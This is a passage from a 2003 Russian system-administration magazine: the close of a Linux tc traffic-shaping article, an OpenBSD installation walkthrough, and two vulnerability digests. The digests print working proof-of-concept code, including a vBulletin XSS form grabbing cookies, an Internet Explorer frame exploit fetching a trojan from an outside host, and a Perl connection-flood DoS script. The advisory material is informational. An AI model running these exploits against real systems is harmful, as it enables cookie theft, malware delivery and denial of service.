администрирование

ределенных полей пакета с заданными, если этой дирек-тивы нет, то под этот фильтр подходят любые неотфильт-рованные ранее пакеты (хотя необходимо установить бо-лее низкий приоритет для этого фильтра, иначе он будетобрабатывать весь трафик, что не есть хорошо):

Директива flowid обозначает идентификатор класса, кудафильтр будет отправлять трафик.

Как правильно строить правила совпадения? При по-строении учтите несколько общих правил:� если в одной команде tc filter add встретилось несколько

директив match, то они объединяются операцией «И»;� если необходимо создать несколько правил, объеди-

ненных «ИЛИ», то необходимо создавать эти правилав различных командах tc filter add.

Составлять правила фильтров совсем несложно:� match ip src ip_addr – поиск совпадения IP-адреса от-

правителя;� match ip dst ip_addr – поиск совпадения IP-адреса на-

значения (полезно при маршрутизации);� match ip sport | dport port_num 0xffff – поиск совпаде-

ния порта источника или порта назначения, назначе-ние символов 0xffff – установка маски совпадения.

Существует также возможность фильтрации на осно-ве меток netfilter. Метки ставятся с помощью iptables сле-дующим образом:

где вместо 6-ки может быть любое число до 255.Установка фильтра выглядит несколько необычно:

Обратите внимание на отсутствие директивы u32, дирек-тивы handle, fw и classid (вместо flowid).

Далее будет показано на примере, как выбирать паке-ты с установленными флагами SYN, ASK, выбирать про-токол (TCP, UDP, ICMP), что позволяет предотвращать не-которые виды DoS-атак.

Для понимания фильтров, которые будут рассмотре-ны чуть позже, разъясню назначение некоторых дополни-тельных параметров фильтров:� поиск «сырых» байт – match [u32|u16|u8] 0xXX 0xMASK

at where, где маска – 16-ое значение маски соответству-ющего формата, например u32 – 32 бита, u16 – 16 бит,u8 – 8 бит соответственно. Параметр where – обычноечисло, означающее количество соответствующих эле-ментов (u32, u16, u8), отсчитанных от начала пакета.Например, фильтр match u8 0x10 0xff at 33 означает вы-бор поля ToS «Минимальная задержка»;

� поиск протокола – match ip protocol 6 0xff – поиск паке-тов TCP-протокола;

� непосредственный поиск поля ToS – match ip tos 0x100xff;

� поиск совпадения области роутинга:

область обозначается директивой realm, и фильтр дляпакетов, попадающих в эту область (т.е. тех, что на-правлены в сеть some_network):

Если нужно выбирать пакеты, приходящие из областимаршрутизации, то нужно просто заменить to на from;

� отбор трафика, превосходящего определенный лимитскорости (очень полезно): в команде tc filter можно при-менять те же директивы, что и в tbf-очереди при ука-зании особого параметра – police:�buffer�mtu�mpu�rate

Если трафик превышает установленный лимит, то самфильтр может выполнять определённые действия:�drop – отбрасывание трафика, превысевшего лимит;�pass – пропускание такого трафика.

� существует также возможность создания хешей фильт-ров (т.е. групп фильтров, которые применяются при про-хождении определённых других фильтров), но это при-меняется лишь в случаях тысяч правил, когда обработкавсех фильтров занимает значительное процессорноевремя. Объем этой статьи не позволяет мне рассказатьи об этой возможности, поэтому при возникновении этойпроблемы нужно почитать HOWTO – www.lartc.org.

После настройки фильтрации необходимо добавитьочереди, реализующие классы. Это делается вполне стан-дартным образом (очереди могут быть любого типа, чтопозволяет выполнять самые разнообразные задачи). Длянашего примера это будет выглядеть так:

Обратите внимание, что родителями этим очередямявляются классы, таким образом, псевдодерево будет выг-лядеть так:

# tc qdisc add dev eth0 parent 1:10 handle 20: pfifo limit 500# tc qdisc add dev eth0 parent 1:11 handle 30: pfifo limit 500# tc qdisc add dev eth0 parent 1:12 handle 40: pfifo limit 500# tc qdisc add dev eth0 parent 1:13 handle 50: sfq perturb 10

# iptables -A FORWARD -t mangle -i eth0 -j MARK --set-mark 6

# tc filter add dev eth0 ptrotocol ip parent 1:0 ↵prio 1 handle 6 fw classid 1:1

# tc filter add dev eth0 protocol ip parent 1:0 ↵prio 2 flowid some_band

# ip route add some_network via some_gate dev ↵eth0 realm 2

# tc filter add dev eth0 parent 1:0 protocol ip ↵prio 1 route to 2

Page 13: 007 Системный Администратор 06 2003

11№6(7), июнь 2003

администрирование

Еще хотел бы остановить ваше внимание на классе 1:1.На самом деле может быть несколько классов верхнегоуровня, что позволяет строить весьма сложную иерар-хию классов.

На этом я, пожалуй, закончу теоретическое рассмот-рение очередей и приведу реальный пример использова-ния очередей для управления трафиком. В этом примерея покажу основные возможности очередей: разделениетрафика и создание полос пропускания, фильтрацию наоснове поля ToS, защита сервера от SYN- и ICMP-флуда,разделение трафика между несколькими сетевыми интер-фейсами (туннели высокой пропускной способности, ана-лог port link в Cisco Catalyst). Итак, конфигурация сети:

В нашем случае имеется сервер, соединяющий двелокальные сети (Server A). Он соединен через две сете-вые карты со 2-м сервером (Server B) для повышения эф-фективности обмена данными между двумя серверами(например, резервные копии одного сервера на другом).Я не буду подробно останавливаться на механизмах мар-шрутизации и разграничения доступа, а для начала про-сто поясню, как при помощи очередей реализовать рас-пределение трафика по двум интерфейсам. Для этогосуществует специальный тип очереди – teql. Сначала не-обходимо добавить такую очередь к двум интерфейсам(в нашем случае – eth1 и eth2):

После этого появляется виртуальный интерфейс –teql0. Работа с ним не отличается от работы с любым дру-гим интерфейсом:

– включает интерфейс.Учтите, что подобную операцию нужно проделать на

обеих машинах (Server A и Server B), а после этого необ-ходимо настроить первоначально маршрутизацию:

При этом серверы будут общаться через виртуальнуюподсеть 10.0.0.0/31 и будут видеть друг друга через адре-са 10.0.0.5 и 10.0.0.6 соответственно. Необходимо такжеотключить «отброс» пакетов серверами:

т.к. это может вызвать нежелательные циклы пакетовмежду серверами (каждый сервер будет отбрасывать непредназначенные ему пакеты в петлю, и эти пакеты будутгулять, пока не истечет ttl).

На этом будем считать настройку интерфейсов eth1 иeth2 законченной (если Server B настроен правильно, топричин для беспокойства нет, иначе есть смысл настроить

firewall и максимальную скорость связи). Главной «оптими-зации» подвергнется интерфейс eth0, ведущий в локаль-ную сеть. Eth0 – стомегабитная сетевая карта. В нашей сетиимеется 2 «особых» клиента: 192.168.2.2 и 192.168.2.3. Имнеобходимо выделить отдельные полосы пропускания дляftp- и smb-трафика (по 10 Мбит каждому). Кроме этого, сетьсостоит из рабочих станций под управлением Unix/Linux иочень много работают с сервером по ssh (10 Мбит допол-нительно). Помимо всего прочего, в сети необходимо учи-тывать ToS-флаги и ограничивать icmp-трафик (защита отлюбителей делать ping -f). Задачка не из легких, не так ли?Особенно если учесть, что мы будем устанавливать дляразличных полос различный приоритет...

Для начала создаем htb-очередь для выделения полоспропускания:

и сами полосы:

# echo 0 > /proc/sys/net/ipv4/conf/eth1/rp_filter# echo 0 > /proc/sys/net/ipv4/conf/eth2/rp_filter

# tc qdisc add dev eth1 root teql0# tc qdisc add dev eth2 root teql0

# ip link set dev teql0 up

Server A# ip addr add dev eth1 10.0.0.1/31# ip addr add dev eth2 10.0.0.3/31# ip addr add dev teql0 10.0.0.5/31Server B# ip addr add dev eth1 10.0.0.2/31# ip addr add dev eth2 10.0.0.4/31# ip addr add dev teql0 10.0.0.6/31

# tc qdisc add dev eth0 root handle 1: default 14

Page 14: 007 Системный Администратор 06 2003

12

администрирование

Одна полоса для ICMP-трафика:

Ещё одна полоса для TCP-AСK пакетов (эти пакеты дол-жны иметь максимальный приоритет, т.к. это существенноповышает скорость загрузки данных с сервера к клиенту):

Создаем фильтры:� создаем фильтры для особых клиентов:

Для клиента А:

Через 138-й порт в протоколе NetBios передаются дан-ные.Для клиента Б:

� создаем фильтрацию ssh-трафика:

� задаем предел для ICMP и SYN-TCP трафика:SYN:Для начала установим правила отбора SYN-пакетовпри помощи iptables (это намного проще, чем исполь-зовать сырой разбор пакетов и маскирование битов):

После этого необходимо добавить особый тип очере-ди – ingress, которая пропускает трафик не выше за-данной скорости, при этом заметьте, что очередь неимеет размещения (всегда root), что позволяет до-бавлять к интерфейсу очередь ingress, не мешая htb(или любой другой очереди), подключенной к этомуже интерфесу:

Мы установили лимит SYN-пакетов до 320 пакетов в се-кунду (пакет с SYN-флагом занимает 320 бит, но 320 па-кетов в секунду несколько многовато, хотя точно должнообеспечить обработку всех запросов на соединение).ICMP:Тут мы имеем дело с обычным выделением полосыпропускания и фильтрацией протокола:

Значение protocol 1 соответствует ICMP.� добавляем фильтр TCP-AСK пакетов:

Эта строчка выглядит несколько сложно, но здесь ис-пользуется сырой разбор заголовков пакетов, поэто-му весьма сложно понять, что к чему.

На этом настройки фильтрации заканчиваются. При-ступим к добавлению очередей, реализующих классы:� для особых клиентов подойдут обычные pfifo-очереди:

� для ssh-полосы лучше всего использовать sfq для рав-номерности распределения клиентов:

� для остальной части подсети лучше всего использо-вать pfifo_fast очередь, т.к. необходимо выделять при-оритетный трафик. pfifo_fast было выбрано вместо prioтолько по причине простоты использования (думаю,скрипт, реализующий установку всех очередей, и такспособен смутить любого):

� для AСK-пакетов подойдет также pfifo-очередь:

Вот и все, я завершаю свой пример и рассказ о trafficcontrol в GNU/Linux. Надеюсь, что моя статья окажется вамполезной. На этом я и прощаюсь с вами.

Приведу ряд полезных ссылок:1. http://www.lartc.org – Linux Advanced Routing and Traffic

Control HOWTO.2. http://luxik.cdi.cz/~devik/qos/htb/manual/userg.htm – руко-

водство по работе с htb-очередями (приведены гра-фики производительности и описаны все основные па-раметры очередей этого типа).

3. RFC795 – документ, посвященный использованию поляToS.

# tc qdisc add dev eth0 parent 1:11 handle 20: ↵pfifo limit 500

# tc qdisc add dev eth0 parent 1:12 handle 30: ↵pfifo limit 500

# tc qdisc add dev eth0 parent 1:13 handle 40: ↵sfq pertrub 10

# tc qdisc add dev eth0 parent 1:14 handle ↵50: pfifo_fast

# tc qdisc add dev eth0 parent 1:15 handle 60: ↵pfifo limit 15

# tc class add dev eth0 parent 1:1 handle 1:16 rate ↵900kbit burst 2500 ceil 100mbit prio 1

# tc filter add dev eth0 protocol ip parent 1:0 ↵prio 1 u32 match ip src 192.168.2.2 ↵match ip dport 110 0xffff flowid 1:11

# tc filter add dev eth0 protocol ip parent 1:0 ↵prio 1 u32 match ip src 192.168.2.2 ↵match ip dport 138 0xfff flowid 1:11

# tc filter add dev eth0 protocol ip parent 1:0 ↵prio 1 u32 match ip src 192.168.2.3 ↵match ip dport 110 0xffff flowid 1:12

# tc filter add dev eth0 protocol ip parent 1:0 ↵prio 1 u32 match ip src 192.168.2.3 ↵match ip dport 138 0xfffflowid 1:12

# tc qdisc add dev eth0 handle ffff: ingress# tc filter add dev eth0 parent ffff: protocol ip ↵

prio 50 handle 1 fw police rate 100kbit ↵burst 1500 mtu 9k drop flowid :1

# tc filter add dev eth0 parent 10:0 protocol ip ↵prio 100 u32 match ip protocol 1 0xff flowid 1:15

# tc filter add dev eth0 protocol ip parent 1:0 ↵prio 1 u32 match ip dport 22 0xffff flowid 1:13

# iptables -A PREROUTING -i eth0 -t mangle -p ↵tcp --syn -j MARK --set-mark 1

# tc filter add dev eth0 parent 1: protocol ip ↵prio 10 u32 match ip protocol 6 0xff match u8 ↵0x05 0x0f at 0 match u16 0x0000 0xffc0 at ↵2 match u8 0x10 0xff at 33 flowid 1:15

# tc class add dev eth0 parent 1: handle 1:1 rate ↵10mbit burst 150000 ceil 100mbit

# tc class add dev eth0 parent 1:1 handle 1:11 rate ↵10mbit burst 15000 ceil 100mbit prio 2

# tc class add dev eth0 parent 1:1 handle 1:12 rate ↵10mbit burst 15000 ceil 100mbit prio 2

# tc class add dev eth0 parent 1:1 handle 1:13 rate ↵10mbit burst 15000 ceil 100mbit prio 2

# tc class add dev eth0 parent 1:1 handle 1:14 rate ↵69mbit burst 100000 ceil 100mbit prio 3

# tc class add dev eth0 parent 1:1 handle 1:15 rate ↵100kbit burst 1000 ceil 100mbit prio 4

Page 15: 007 Системный Администратор 06 2003

Межсайтовый скриптингв частных сообщениях в vBulletinУязвимость в проверке правильности ввода обнаруженав vBulletin при просмотре частных сообщений. Удаленныйпользователь может выполнить XSS-нападение.

Сообщается, что сценарий 'private.php' не фильтруетданные, представленные пользователем. Удаленныйпользователь может сконструировать специально сфор-мированную веб-форму, которая при загрузке в браузерепользователя выполнит произвольный код сценария в

браузере целевого пользователя в контексте vBulletin сай-та. Пример: (требуется предварительная авторизация)

Уязвимость обнаружена в vBulletin 3.0.0 Beta 2.

Недостаток в ядре Linux 2.4 в кешемаршрута позволяет удаленномупользователю вызвать условие отказав обслуживанииУязвимость обнаружена в ядре Linux 2.4 в кеше хеш-табли-цы маршрута. Удаленный пользователь может послать спе-циально сформированный пакет, чтобы заставить системуиспользовать 100% ресурсов центрального процессора.

Уязвимость обнаружена в выполнении хеш-таблицы вNetfilter IP conntrack модуле и ядре. Другие хеш-таблицывнутри ядра могут быть также уязвимы. Удаленныйпользователь может послать пакет со специально обра-ботанным значением и недопустимым адресом источни-ка, чтобы вызвать коллизию хеша, в результате каждаязапись в кеше маршрута будет записана в ту же самуюцепочку хеширования. Это заставит ядро использовать100% ресурсов CPU и может привести к условиям отказав обслуживании.

Уязвимость обнаружена в Linux 2.4, prior to 2.4.21-rc2.

Microsoft Internet Explorer можетвыполнить произвольный кодпри обработке больших количествзапросов загрузкиУязвимость обнаружена в Microsoft Internet Explorer (IE).Удаленный пользователь может сконструировать HTML,который заставит браузер выполнить произвольный код.

Сообщается, что удаленный пользователь может скон-струировать HTML, который, когда будет загружен в бра-узере, заставит IE открыть большое количество фреймов.Если последние несколько фреймов ссылаются на злона-меренный файл, расположенный на удаленном сервере,IE не в состоянии проверить ограничения зоны безопас-ности для этих фреймов и выполнит произвольный код.

Уязвимость затрагивает не все версии IE. На уязви-мых версиях существует некоторая вероятность несра-батывания уязвимости. Например, в IE 6.0.2800.1106 наWindows 2000 успешная работа эксплоита будет наблю-даться в 95% случаях. Пример:

Уязвимость обнаружена в Microsoft Internet Explorer 6,tested on 6.0.2800.1106 on Windows 2000.

FRAME SRC="C:\winnt\welcome.exe"></FRAME><FRAME SRC="C:\winnt\notepad.exe"></FRAME><FRAME SRC="C:\winnt\regedit.exe"></FRAME>... together around 191 ... and after comes our trojan ...<FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME><FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME><FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME><FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME><FRAME SRC="http://www.systemintegra.com/trojan.exe"></FRAME>

<html><body><form action="http://[victim]/forum/private.php" method="post"name="vbform"> <input type="hidden" name="do" value="insertpm" /> <input type="hidden" name="pmid" value="" /> <input type="hidden" name="forward" value="" /> <input type="hidden" name="receipt" value="0" />

<input type="text" class="bginput" name="title" value="" size="40"tabindex="2" /><textarea name="message" rows="20" cols="70" wrap="virtual"tabindex="3"></textarea><input type="submit" class="button" name="sbutton" value="Post Message"accesskey="s" tabindex="4" /><input type="submit" class="button" value="Preview Message"accesskey="p"name="preview" onclick="this.form.dopreview = true; returntrue;this.form.submit()" tabindex="5" >

<input type="checkbox" name="savecopy" value="1" id="cb_savecopy"checked="checked" /><input type="checkbox" name="signature" value="1" id="cb_signature" /><input type="checkbox" name="parseurl" value="1" id="cb_parseurl"checked="checked" /><input type="checkbox" name="disablesmilies" value="1"id="cb_disablesmilies" /> </form><script> //Set Values and Submit // You can write your own JS codes var xss = "\"><script>alert(document.cookie)<\/script>"; document.vbform.title.value=xss; document.vbform.preview.click();</script></body></html>

Составил Александр Антипов

Удаленное переполнение буферав Microsoft Windows Script EngineУдаленный пользователь может аварийно завершить ра-боту IE или выполнить произвольный код с привилегиямитекущего пользователя.

Переполнение буфера обнаружено в библиотеке об-работки JScript – jscript.dll, расположенной в%SystemRoot%\system32. Сообщается, что уязвимость мо-жет использоваться для выполнения произвольного кода.Пример:

или

Работа IE аварийно завершится со следующей ошибкой:

Уязвимость обнаружена в Internet Explorer 5.0-6.0.

<script> this.window();</script>

<script> self.window();</script>

The instruction at "0x6b73aa15" referenced memory at"0x006f0063".The memory could not be "read".

bugtraq

13№6(7), июнь 2003

Page 16: 007 Системный Администратор 06 2003

14

администрирование

ВВЕДЕНИЕ

ДЕНИС НАЗАРОВ

В

Page 17: 007 Системный Администратор 06 2003

15№6(7), июнь 2003

администрирование

Проект берет свое начало из системы NetBSD, когда одиниз четырех главных разработчиков проекта Theo de Raadt(Тео де Радт) решил создать свою собственную реализа-цию UNIX-подобной системы, делая максимальный упорна безопасность. OpenBSD унаследовала из NetBSD в ос-новном только мультиплатформенность. Остальное жебыло написано с нуля или кардинально переделано. Всяпереписка, предшествующая появлению OpenBSD, нахо-дится тут: http://zeus.theos.com/deraadt/coremail.html. Кодсистемы полностью открыт и каждый желающий можетпомочь с разработкой системы. В процессе работы надOpenBSD был проделан огромный труд. Разработчики зат-ратили много времени, выявляя и устраняя слабые местав системе защиты OpenBSD.� Одна удаленная уязвимость в системе за 7 лет при

инсталляции «по умолчанию».� В системе широко используется кодирование данных.� В состав системы входит KerberosIV, KerberosV.� Большинство идентификаторов (таких, например, как

PID) генерируется по случайному закону.� Полностью контролируется использование каталога /tmp.� Полностью контролируется работа с буферами данных,

в частности отслеживается момент их переполнения.� Устранены недостатки работы с протоколами при ко-

пировании файлов, маршрутизации, использованиизарезервированных портов и прочее.

� Система активно противодействует незаконным по-пыткам сбора информации (OS fingerprinting).

� Используется новый системный вызов mkstemp (и про-чее), улучшающий обработку каталога /tmp.

� IP-фильтры являются стандартными компонентами ядра.� В ядро включены средства кодирования IP Photuris.� Модифицированы средства обработки сигналов, зат-

рагивающих ядро.� Устранены нарушения защиты в strcpy и других сис-

темных вызовах.� Присутствует контроль за переполнением переменных

окружения.� В Kerberos устранены ошибки, связанные с перепол-

нением буферов.� В libc включены средства кодирования.� В системе используются гибкие механизмы кодирова-

ния паролей (Blowfish и прочее).� В стандартные утилиты встроена поддержка S/Key.� Выбор портов для прикладных программ осуществля-

ется по случайному закону.� В систему входит мощнейший пакетный фильтр PF

(OpenBSD’s Packet Filter).� Контроль за всеми обращениями к ядру приложений

при помощи systrace.� В компилятор (GCC), начиная с версии 3.3, встроена

защита propolicy.� Большинство стандартных сервисов, предоставляемых

системой, запускаются в изолированном пространстве(chroot).

Это лишь малая часть всех тех прелестей, которымиобладает OpenBSD. Разработчики предоставляют вамвозможность иметь 3 вида реализации OpenBSD:

� RELEASE – релиз, система, которую вы получаете, ус-танавливая OpenBSD с официальных CD-ROM или дру-гих источников.

� STABLE – система, на которую наложены все необхо-димые исправления и выполнены все рекомендациипо настройке.

� CURRENT – текущая, сырая система. В нее постоянновносятся исправления, улучшения, добавляется новоеПО и прочее. Из этой версии в итоге вытекает новаясистема RELEASE.

На одном из серверов, которые я контролирую, былаустановлена OpenBSD CURRENT версии 3.0 и она успеш-но обновляется и по сей день. Использование ветки STABLEпредпочтительней на production-серверах, где важна ста-бильность и надежность. Однако по собственному опытумогу сказать, что CURRENT ничуть не хуже STABLE, а по-рой даже лучше, удерживает лишь мысль «вдруг наCURRENT что-то перестанет работать?»

После установки системы можно сразу заметить «чи-стоту» системы. Большинство сервисов отключено (ноустановлено!), конфигурационные файлы дают понять, чтосистема уже довольно жестко настроена. Отличный ходOpenBSD team – это страница мануала afterboot (manafterboot), на которой очень хорошо описано, что нужносделать сразу после установки системы, чтобы привестиее в идеальное состояние.

Система очень компактна, после установки она занялау меня всего 210 Mб без системы X Windows. При этом выполучаете полноценную систему с компилятором, котораяготова служить вам верой и правдой с этой же минуты.

Очевидные для меня минусы системы:� Отсутствие поддержки SMP (symmetric multiprocessor),

но в данный момент уже есть проект, который разра-батывает поддержку SMP для i386 и Sparc.

� Отсутствие поддержки некоторых RAID-массивов.� Отсутствие поддержки некоторых сетевых карт (хотя

эта проблема решилась портированием драйвера изFreeBSD).

OpenBSD часто используется на границах сети как меж-сетевой экран (firewall) и/или роутер (router). Система обла-дает мощнейшим пакетным фильтром и интегрированнымконтролем полосы пропускания. Использование OpenBSDтакже обусловлено низким приростом удаленных уязвимо-стей, делая ее надежным, дешевым и гибким решением.

Инсталляция системыХорошо, приступим к инсталляции данной прелести нанаш подопытный сервер. Сразу оговорюсь про железо.P4 1,75Ghz / 1Gb RAM / 80Gb HDD / Intel-Ethernet ExpressPro 100Mb/s. Да, железо неслабое, но ставлю на то, чтоесть. По поводу работы OpenBSD на более «плохом» же-лезе можно смело ответить «Да!». У меня в руках 3 диска:� Базовый инсталляционный диск.� Набор заранее скомпилированного ПО для системы

(Packages).� Дополнительное ПО для других платформ (Sparc,

Alpha…).

Page 18: 007 Системный Администратор 06 2003

16

администрирование

Ставить систему, конечно, можно и не с CD-ROM, ноэто наиболее удобный способ, по моему мнению. Преждевсего, перед началом инсталляции вы должны четко знать:� Имя будущей машины (hostname).� Совместимость всего hardware с системой.� Метод установки (CD-ROM, FTP…).� Разметку диска.� Сетевые настройки, если вы не собираетесь исполь-

зовать DHCP. Имя домена (domain name), сервера имен(DNS servers), IP-адрес, сетевую маску для ваших се-тевых карт и шлюз (gateway).

� Собираетесь ли вы использовать систему X-Windows.

Отлично, включаем в BIOS загрузку с CD-ROM, встав-ляем первый диск и перегружаемся. Дальше вы видитенечто вроде:

Что это значит:� Install – полная установка системы с записью всех фай-

лов и каталогов, созданием новой разметки диска (хотяесли диск размечен уже был, можно оставить как есть)и выполнению всех процедур установки.

� Upgrade – установка только «install files», без внесе-ния каких-либо изменений в конфигурацию системы,данных или же разметки диска.

� Shell – иногда требуется внести изменения в текущуюсистему с использованием другого ядра, данная оп-ция как раз позволяет делать это.

Смело выбираем «I» и идем дальше. Видим следующее:

Информация для ознакомления с процедурами вводаданных при инсталляции, в принципе ничего сложного.

Идем дальше. Предупреждение о возможной потеривсех данных.

Вот тут уже и начинается самое интересное – разбие-ние диска:

Однако хочу предупредить, понятие partition тут двояко.

Partition может рассматриваться как общий кусок диска дляOpenBSD, если на компьютере установлено больше однойОС, иначе же partition будет рассматриваться как filesystem.Не морочьте себе голову, после первого общения с fdiskOpenBSD вы разберетесь в этом раз и навсегда.

Система спрашивает, будем ли мы использовать весьдиск для нее или же выделим ей отдельный partition.

Вот он! Тот самый fdisk, который кажется всем страш-ным и пугает. Но на самом деле это довольно безобиднаяи очень гибкая (в умелых руках) утилита. Расскажу о нейподробнее. Команды можно сокращать, например, так:� r или reinit: очищает весь диск и создает одну боль-

шую partition для OpenBSD. Равносильно ответу «yes»в вопросе «use *all* of ...».

� p или print: выводит информацию о текущем разделев секторах. «p m» покажет информацию в мегабай-тах, «p g», соответственно, в гигабайтах.

� e или edit: редактировать запись в таблице.� f или flag: помечает раздел как загрузочный и разре-

шает грузиться с него.� exit и quit: внимание, команды «exit» and «quit» имеют

разные значения. Команда exit заставляет fdisk завер-шиться «фатально», т.е изменения не будут внесены,в то время как комадна quit подразумевает успешноезавершение программы, запись всех изменений надиск, однако перед quit все-таки еще стоит использо-вать команду write для большей надежности.

Прежде чем начинать работать с fdisk, сохраните всеважные данные. Хорошо, начинаем:

Page 19: 007 Системный Администратор 06 2003

17№6(7), июнь 2003

администрирование

Типичная сессия работы с fdisk. Теперь по строчкам:� p m – просматриваем информацию о разделах в мега-

байтах;� d a – удаляем раздел «a», т.к. он пустой и ничем не

занят;� a a – теперь вновь добавляем его, но уже со своими

параметрами для него:� offset: [3069360] Enter – offset-смещение относитель-

но секторов;� size: [36030960] 150M – размер раздела в мегабай-

тах Rounding to nearest cylinder: 307440 – ближай-ший цилиндр оставляем как есть;

� FS type: [4.2BSD] Enter – тип файловой системы;� mount point: [none] / – точка монтирования.

Следующий раздел (a b) по умолчанию принимаетсясистемой как SWAP, поэтому нужно сделать необходи-мые изменения в размере раздела. Продолжая процесс,добавляем все необходимые нам разделы и записываеминформацию командами w и q (write, quit).

Дальше начинается процесс непосредственного фор-матирования разделов:

После создания разделов начинается этап переконфи-гурирования системы.

Нас спрашивают, как будет называться машина:

Эта информация будет сохранена в файле /etc/mynameи в дальнейшем может быть легко изменена.

Вот мы уже и на пороге кофигурации сети.

Система сама определяет сетевой интерфейс (еслитаковой имеется) и предлагает настроить его путем вве-дения IP-адреса, маски сети, DNS-серверов и шлюза.

Отлично, мы добрались до установки пароля супер-пользователя.

Page 20: 007 Системный Администратор 06 2003

18

администрирование

Думаю, рассказывать, как важен пароль суперпользо-вателя и каким он должен быть, мне нет смысла, т.к. име-ется очень много документов, описывающих способы вы-бора правильного пароля.

Выбор метода инсталляции:

Выбираем установку с CD-ROM путем ввода «c». Дальшесистема спрашивает, где находятся необходимые файлы.

Переходим к выбору компонентов системы:

Добавить компонент можно так^ +xbase33*, а убрать –misc33*. Выбрав все необходимое, переходим к процеду-рее переноса и установки компонентов:

Отлично, мои поздравления, вы поставили OpenBSD!Осталось совсем чуть-чуть для того, чтобы увидеть ее в

полной красе. Выставляем время и сообщаем системе,что не будем использовать X Windows.

Последний взмах волшебной палочкой:

Система поставлена. Осталось лишь нажать кнопкуперезагрузки и увидеть всю красоту, чистоту и прелестьсистемы. Ну а что делать с ней дальше, я расскажу в сле-дующей статье.

Ссылки по теме1. Домашняя страница проекта OpenBSD:

http://www.openbsd.org2. Журнал, посвященный OpenBSD:

http://www.deadly.org3. Страница проекта OpenBSD.ru:

http://www.openbsd.ru4. Информация о OpenBSD Packet filter:

http://www.benzedrine.cx/pf.html5. Огромная коллекция ссылок для OpenBSD:

http://www.infobsd.org/

Page 21: 007 Системный Администратор 06 2003

Переполнение буфера в explorer.exeпри разборе desktop.ini-файлаПереполнение буфера обнаружено в explorer.exe при раз-боре файла desktop.ini в Windows XP. Локальный пользо-ватель может получить поднятые привилегии на системе.

Переполнение буфера обнаружено в параметреlpReturnedString в desktop.ini. Локальный пользователь мо-жет представить специально обработанное значение дляэтого параметра, чтобы выполнить произвольный код спривилегиями пользователя, просматривающего диск спомощью эксплорера.

Уязвимость обнаружена в Windows XP Service Pack 1.

Отказ в обслуживаниив Intel Corporation Itanium 2 ProcessorУязвимость обнаружена в процессоре Intel Itanium 2. Спе-циально сконструированная процедура может нарушитьнормальную работу процессора.

Проблема происходит, когда процессор пытается обра-ботать специально сконструированную процедуру. Когдаоперация выполнена, процессор может прекратить функ-ционировать. В настоящее время неизвестно, может ли этотаварийный отказ постоянно нарушать работу процессора.

Уязвимость обнаружена в Intel Corporation Itanium 2Processor.

Утечка памяти большим количествомподключений в eServОтказ в обслуживании обнаружен в eServ. Утечка памятипозволяет удаленному пользователю исчерпать доступ-ные системные ресурсы на целевом сервере.

Сообщается, что удаленный пользователь может под-ключиться к серверу несколько тысяч раз, чтобы заставитьсервер выделить большое количество памяти, что в конеч-ном счете приведет к зависанию сервера. Сообщается, что100 подключений может вызвать утечку памяти между 7.81MB и 31.25 MB, а 50.000 подключений приведут к аварий-ному завершению работы сервера. Эксплоит:

#!/usr/bin/perl#LEGAL NOTICE: Don't test this on networks you don't#administer, and do not test this tool on networks you don't#own without permission of the network owner. You are#responsible for all damage due to your use of this tool.use IO::Socket;print "$0: eServ Remote DoS Exploit\r\n";print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";print "Server hostname\: ";$host = trim(chomp($line = <STDIN>));print "Service port to probe\: ";$port = trim(chomp($line = <STDIN>));print "\r\nBeginning probe -- stop with CTRL+C\r\n";while (1) { $f = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host:$port"); undef $f;

Исчерпание свободного пространства надисковом массиве в Apache mod_surveyУязвимость в проверке правильности ввода обнаруже-на в модуле Apache mod_survey. Удаленный пользова-тель может исчерпать все доступное пространство надисковом массиве.

Удаленный пользователь может послать запросы о не-существующих отчетах (survey), чтобы заполнить диско-вый массив, на котором хранится архив данных. Про-граммное обеспечение не проверяет, существует ли зап-рашиваемый отчет до окончания создания архива"SYSBASE", основанного на имени отчета. В результатеудаленный пользователь может представить ответ отче-та для несуществующего имени отчета, чтобы создатьпустой SYSBASE. Созданный каталог будет занимать не-которое место на файловой системе.

Уязвимость обнаружена в Apache mod_survey 3.0.0 tobefore 3.0.15-stable.

Локальное переполнение буферав переменной LOCATE_PATH в slocateЦелочисленное переполнение буфера обнаружено вslocate. Локальный пользователь может получить подня-тые привилегии на системе.

Сообщается, что локальный пользователь может экс-плуатировать целочисленное переполнение в функцииparse_decode_path(), устанавливая переменнуюLOCATE_PATH к значению, содержащему более536870912 ':' символов.

Также сообщается, что Linux-ядро по умолчанию не по-зволяет устанавливать переменные таких размеров, нопользователь может перекомпилировать ядро с большимзначением параметра MAX_ARG_PAGES.

Переполнение буфера в Firebird позволяетлокальному пользователю получитьroot-привилегииНесколько переполнений буфера обнаружены в базе дан-ных Firebird. Локальный пользователь может получить root-привилегии.

Приложения gds_inet_server, gds_drop, и gds_lock_mgrне выполняют проверку границ переменных, возвращен-ных функцией getenv(). Локальный пользователь можетустановить переменную INTERBASE к специально обра-ботанному значению, чтобы переполнить буфер и выпол-нить произвольный код с root-привилегиями на Linux-сис-темах и с привилегиями базы данных на FreeBSD.

Уязвимость обнаружена в Firebird 1.0.0, 1.0.2.

Некорректный HTTP-заголовокможет завесить CUPS-серверОтказ в обслуживании обнаружен в Common UNIX PrintingSystem (CUPS). Удаленный пользователь может нарушитьработу CUPS-сервера.

Сообщается, что удаленный пользователь может под-ключиться к CUPS-серверу и вызвать условия отказа вобслуживании, посылая специально обработанный HTTP-заголовок. Пример:

Если пользователь вводит только один перевод ка-ретки после POST-строки, CUPS-сервер зависнет и пе-рестанет отвечать другим клиентам.

Уязвимость обнаружена в CUPS до версии 1.1.19rc5.

$ telnet <your_favorite_cups_server> ippPOST /printers/<your_favorite_printer> HTTP/1.1

Составил Александр Антипов

19№6(7), июнь 2003

bugtraq

Page 22: 007 Системный Администратор 06 2003

20

администрирование

УЧЕТ ТРАФИКАС ПОМОЩЬЮ ПРОГРАММ

MRTG И LAN BILLING

ДЕНИС КОЛИСНИЧЕНКО

Page 23: 007 Системный Администратор 06 2003

21№6(7), июнь 2003

администрирование

